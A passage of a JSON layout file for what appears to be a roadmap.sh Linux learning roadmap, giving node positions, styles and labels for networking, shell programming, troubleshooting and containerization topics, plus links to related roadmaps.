\"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 138.99419451849974,\n        \"y\": 1710.2051467174065\n      }\n    },\n    {\n      \"id\": \"0pciSsiQqIGJh3x8465_s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1604.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"TCP/IP Stack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D0yUzzaJsfhtdBWMtquAj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1604.2051467174065\n      }\n    },\n    {\n      \"id\": \"Xszo9vXuwwXZo26seHehD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1657.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Subnetting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D0yUzzaJsfhtdBWMtquAj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1657.2051467174065\n      }\n    },\n    {\n      \"id\": \"4ees23q281J1DPVAc7iXd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1710.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ethernet & arp/rarp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uk6UMuI8Uhf02TBAGVeLS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1710.2051467174065\n      }\n    },\n    {\n      \"id\": \"X6Jw95kbyPgsDNRhvkQP9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1764.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DHCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D0yUzzaJsfhtdBWMtquAj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 75,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1764.2051467174065\n      }\n    },\n    {\n      \"id\": \"D0yUzzaJsfhtdBWMtquAj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -102.57199637674694,\n        \"y\": 1764.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IP Routing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -102.57199637674694,\n        \"y\": 1764.2051467174065\n      }\n    },\n    {\n      \"id\": \"f5oQYhmjNM2_FD7Qe1zGK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1818.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DNS Resolution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tVrbVcNEfc11FbEUoO2Dk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1818.2051467174065\n      }\n    },\n    {\n      \"id\": \"bZ8Yj6QfBeDdh8hRM_aZs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1871.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Netfilter\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uk6UMuI8Uhf02TBAGVeLS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1871.2051467174065\n      }\n    },\n    {\n      \"id\": \"uk6UMuI8Uhf02TBAGVeLS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -74.6381872719935,\n        \"y\": 1871.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SSH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D0yUzzaJsfhtdBWMtquAj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -74.6381872719935,\n        \"y\": 1871.2051467174065\n      }\n    },\n    {\n      \"id\": \"tVrbVcNEfc11FbEUoO2Dk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1925.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"File Transfer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uk6UMuI8Uhf02TBAGVeLS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1925.2051467174065\n      }\n    },\n    {\n      \"id\": \"4tFZ1PLpz50bddf7zSFrW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1986.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Shell Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1986.2051467174065\n      }\n    },\n    {\n      \"id\": \"-pW7R76yNIeGf7TQoX4QL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1749.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Literals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rQxfp7UWqN72iqewZhOdc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1749.2051467174065\n      }\n    },\n    {\n      \"id\": \"JyxvZOb7iusOSUYSlniGl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -530.1381872719935,\n        \"y\": 1750.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Variables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -530.1381872719935,\n        \"y\": 1750.2051467174065\n      }\n    },\n    {\n      \"id\": \"WJT-yrMq8cEI87RHWA2jY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1802.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Loops\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rOGnHbGIr3xPCFdpkqoeK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 92,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1802.2051467174065\n      }\n    },\n    {\n      \"id\": \"rQxfp7UWqN72iqewZhOdc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -530.1381872719935,\n        \"y\": 1803.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Conditionals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JyxvZOb7iusOSUYSlniGl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -530.1381872719935,\n        \"y\": 1803.2051467174065\n      }\n    },\n    {\n      \"id\": \"rOGnHbGIr3xPCFdpkqoeK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1856.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Debugging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rQxfp7UWqN72iqewZhOdc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -636.1381872719935,\n        \"y\": 1856.2051467174065\n      }\n    },\n    {\n      \"id\": \"bdQNcr1sj94aX_gjwf2Fa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -636.1381872719935,\n        \"y\": 2146.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Troubleshooting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -636.1381872719935,\n        \"y\": 2146.2051467174065\n      }\n    },\n    {\n      \"id\": \"Ymf3u_sG1dyt8ZR_LbwqJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2066.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ICMP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7seneb4TWts4v1_x8xlcZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2066.2051467174065\n      }\n    },\n    {\n      \"id\": \"Uc36t92UAlILgM3_XxcMG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -204.57199637674694,\n        \"y\": 2066.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -204.57199637674694,\n        \"y\": 2066.2051467174065\n      }\n    },\n    {\n      \"id\": \"BnB3Rirh4R7a7LW7-k-95\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2119.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"traceroute\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7seneb4TWts4v1_x8xlcZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177\n      },\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2119.2051467174065\n      }\n    },\n    {\n      \"id\": \"yrxNYMluJ9OAQCKuM5W1u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2172.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"netstat\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7seneb4TWts4v1_x8xlcZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177\n      },\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2172.2051467174065\n      }\n    },\n    {\n      \"id\": \"7seneb4TWts4v1_x8xlcZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2225.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Packet Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Uc36t92UAlILgM3_XxcMG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177\n      },\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -294.50580548150026,\n        \"y\": 2225.2051467174065\n      }\n    },\n    {\n      \"id\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 19.99419451849974,\n        \"y\": 2314.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Containerization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 19.99419451849974,\n        \"y\": 2314.2051467174065\n      }\n    },\n    {\n      \"id\": \"QgfenmhMc18cU_JngQ1n0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 11.49419451849974,\n        \"y\": 2115.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ulimits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MfengY3ouz6sSOx3PXYf8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 100\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 11.49419451849974,\n        \"y\": 2115.2051467174065\n      }\n    },\n    {\n      \"id\": \"23lsrUw8ux6ZP9JlDNNu2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 114.3618127280065,\n        \"y\": 2115.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"cgroups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 114.3618127280065,\n        \"y\": 2115.2051467174065\n      }\n    },\n    {\n      \"id\": \"bVCwRoFsYb3HD8X4xuKOo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 11.49419451849974,\n        \"y\": 2168.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Container Runtime\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MfengY3ouz6sSOx3PXYf8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203\n      },\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 11.49419451849974,\n        \"y\": 2168.2051467174065\n      }\n    },\n    {\n      \"id\": \"MfengY3ouz6sSOx3PXYf8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 11.49419451849974,\n        \"y\": 2221.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"23lsrUw8ux6ZP9JlDNNu2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203\n      },\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 11.49419451849974,\n        \"y\": 2221.2051467174065\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"ef-jFKMs8jw3Ti94jem96\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 105.02847939467313,\n        \"y\": 2524.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 105.02847939467313,\n        \"y\": 2524.6547713337786\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -133.74416945365664,\n        \"y\": 2421.509113900669\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -133.74416945365664,\n        \"y\": 2421.509113900669\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 473,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"UloavCkIvZnD1XMFohYVT\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -118.74416945365664,\n        \"y\": 2475.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -118.74416945365664,\n        \"y\": 2475.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"StxLh1r3qXqyRSqfJGird\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 196.8618127280065,\n        \"y\": 2475.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 196.8618127280065,\n        \"y\": 2475.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 22.861812728006498,\n        \"y\": 2475.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"href\": \"https://roadmap.sh/docker\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 22.861812728006498,\n        \"y\": 2475.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-t8SJbGVXsUDECxePLDk_ww1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qLeEEwBvlGt1fP5Qcreah\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-qLeEEwBvlGt1fP5Qcreahy2\",\n      \"selected\": false,\n      